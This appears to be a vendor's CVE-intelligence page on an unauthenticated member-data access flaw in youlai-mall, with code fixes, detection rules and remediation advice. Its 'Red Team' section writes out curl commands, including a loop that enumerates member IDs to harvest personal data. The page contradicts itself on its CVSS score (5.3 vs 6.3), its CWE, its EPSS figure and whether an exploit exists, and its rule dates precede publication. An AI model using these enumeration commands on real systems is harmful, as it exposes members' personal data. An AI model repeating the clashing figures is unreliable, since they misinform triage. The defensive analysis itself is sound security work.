☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-266
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14052

CVE-2025-14052 Improper Access Control in Youlai
📅 PUBLISHED: 2025-12-05 00:02 UTC 🔄 UPDATED: 2026-09-26 06:25 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14052 is an Improper Access Control vulnerability in the youlaitech youlai-mall application, versions 1.0.0 and 2.0.0. The flaw resides in the /mall-ums/app-api/v1/members/ endpoint, specifically within the getMemberById function. By manipulating the memberId parameter, an unauthenticated remote attacker can access member data without proper authorization. The vendor has been contacted but has not responded, and a public exploit has been disclosed, increasing the risk of active exploitation. The EPSS score is currently 0.0%, indicating low exploitation probability at this time, but the public disclosure raises the threat level.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Java/Spring-based application (youlai-mall). No direct NPM, PyPI, Go, or Ruby packages are involved. However, the application may be distributed as a Docker image or deployed via Maven. Users should verify the integrity of their deployment artifacts and check for any unofficial patches or forks.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Base Score: 6.3 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited member data exposure.
  • Integrity Impact: Low (I:L) – Potential data modification.
  • Availability Impact: Low (A:L) – Potential service degradation.

Threat Level: Medium. The public exploit and lack of vendor response make this a credible threat, though the EPSS score suggests low immediate exploitation.

Deep Dive & Mechanics

The vulnerability is a classic case of Improper Access Control (CWE-284) . The endpoint /mall-ums/app-api/v1/members/ exposes a getMemberById function that accepts a memberId parameter. The application fails to verify whether the requesting user has the right to access the requested member's data. This allows an attacker to enumerate member IDs and retrieve sensitive information such as names, contact details, or account metadata.

Root Cause: The backend controller likely lacks an authorization check (e.g., Spring Security @PreAuthorize or manual session validation) before returning member data. The function may assume that the caller is already authenticated and authorized, but the endpoint is exposed without proper guards.

Attack Flow:

  1. Attacker identifies the vulnerable endpoint via reconnaissance.
  2. Attacker sends a GET request to /mall-ums/app-api/v1/members/{memberId} with a numeric ID.
  3. The server returns the member's data without checking if the attacker is authorized.
  4. Attacker iterates through member IDs to harvest data.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on best practices.

Vulnerable Code (Java/Spring Boot):

@RestController
@RequestMapping("/mall-ums/app-api/v1/members")
public class MemberController {

    @GetMapping("/{memberId}")
    public Member getMemberById(@PathVariable Long memberId) {
        // No authorization check
        return memberService.findById(memberId);
    }
}

Patched Code (Hypothetical):

@RestController
@RequestMapping("/mall-ums/app-api/v1/members")
public class MemberController {

    @GetMapping("/{memberId}")
    @PreAuthorize("hasRole('ADMIN') or #memberId == authentication.principal.id")
    public Member getMemberById(@PathVariable Long memberId) {
        return memberService.findById(memberId);
    }
}

The patched version uses Spring Security's @PreAuthorize to ensure only admins or the member themselves can access the data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running youlai-mall 1.0.0 or 2.0.0.
  • Network access to the /mall-ums/app-api/v1/members/ endpoint.

Exploit Steps:

  1. Identify the target base URL (e.g., http://target.com).
  2. Send a GET request to enumerate member IDs:
    curl -X GET "http://target.com/mall-ums/app-api/v1/members/1"
    
  3. Iterate through IDs to extract data:
    for i in {1..100}; do
        curl -s "http://target.com/mall-ums/app-api/v1/members/$i"
    done
    

Expected Output: JSON response containing member details (e.g., {"id":1,"name":"John Doe","email":"john@example.com"}).

Blue Team (Detection & Response)

Detection:

  • Monitor for repeated GET requests to /mall-ums/app-api/v1/members/ with sequential or random numeric IDs.
  • Alert on anomalous access patterns from a single IP.

Response:

  1. Immediately block the attacking IP at the WAF or firewall.
  2. Review application logs for unauthorized access to member data.
  3. If possible, temporarily disable the endpoint or add authentication.
  4. Contact the vendor for an official patch or apply a virtual patch via WAF.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /mall-ums/app-api/v1/members/{integer} from unauthenticated sources.
    • Sequential or brute-force patterns in the memberId parameter.
  • File IOCs:
    • Application logs showing repeated access to the vulnerable endpoint without a valid session token.
  • Behavioral IOCs:
    • Unusual data exfiltration from the /mall-ums/app-api/v1/members/ path.

Detection Engineering

YARA Rule

rule CVE_2025_14052_Access_Control {
    meta:
        description = "Detects exploitation attempts for CVE-2025-14052 in youlai-mall"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14052"
    strings:
        $s1 = "/mall-ums/app-api/v1/members/" ascii wide nocase
        $s2 = "memberId" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 5
}

Sigma Rule

title: CVE-2025-14052 - Improper Access Control in youlai-mall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects repeated access to the vulnerable member endpoint without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/mall-ums/app-api/v1/members/'
        cs-uri-query|contains: 'memberId'
    condition: selection | count() > 10 by src_ip
falsepositives:
    - Legitimate admin enumeration
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14052 - youlai-mall Improper Access Control"; flow:to_server; content:"GET"; http_method; content:"/mall-ums/app-api/v1/members/"; http_uri; pcre:"/\/mall-ums\/app-api\/v1\/members\/\d+/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the endpoint if not required: Block /mall-ums/app-api/v1/members/ at the WAF or reverse proxy.
  2. Add authentication: Implement Spring Security or similar to require a valid session token for all API calls.
  3. Rate limiting: Apply rate limiting to prevent brute-force enumeration.

Long-term Fix:

  • Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
  • Conduct a full security audit of all API endpoints for similar access control issues.
  • Monitor the vendor's repository for an official patch.

Workaround:

  • If patching is not possible, restrict access to the endpoint via IP whitelisting or VPN.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14052/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.